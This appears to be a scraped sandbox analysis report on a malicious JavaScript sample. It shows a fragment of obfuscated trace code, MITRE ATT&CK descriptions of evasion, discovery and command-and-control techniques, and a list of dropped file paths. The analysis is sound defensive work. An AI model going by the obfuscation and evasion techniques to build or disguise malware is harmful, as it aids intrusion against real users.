1579	ecasjtxg = "Y";
1580	ecasjtxg = "s";
1581	ecasjtxg = "I";
1582	ecasjtxg = "B";
1583	ecasjtxg = "P";
1584	ecasjtxg = "z";
1585	ecasjtxg = "2";
1586	obrybin = "c";
1587	obrybin = "p";
1588	obrybin = "s";
1589	obrybin = "b";
1590	obrybin = "P";
1591	obrybin = "v";
1592	obrybin = "p";
1593	obrybin = "m";
1594	usopyaixj ( );	usopyaixj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6942228092691529249.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a90a515b-a066-45d9-bc0e-b1fca42ed2f5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7096

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
6942228092691529249.js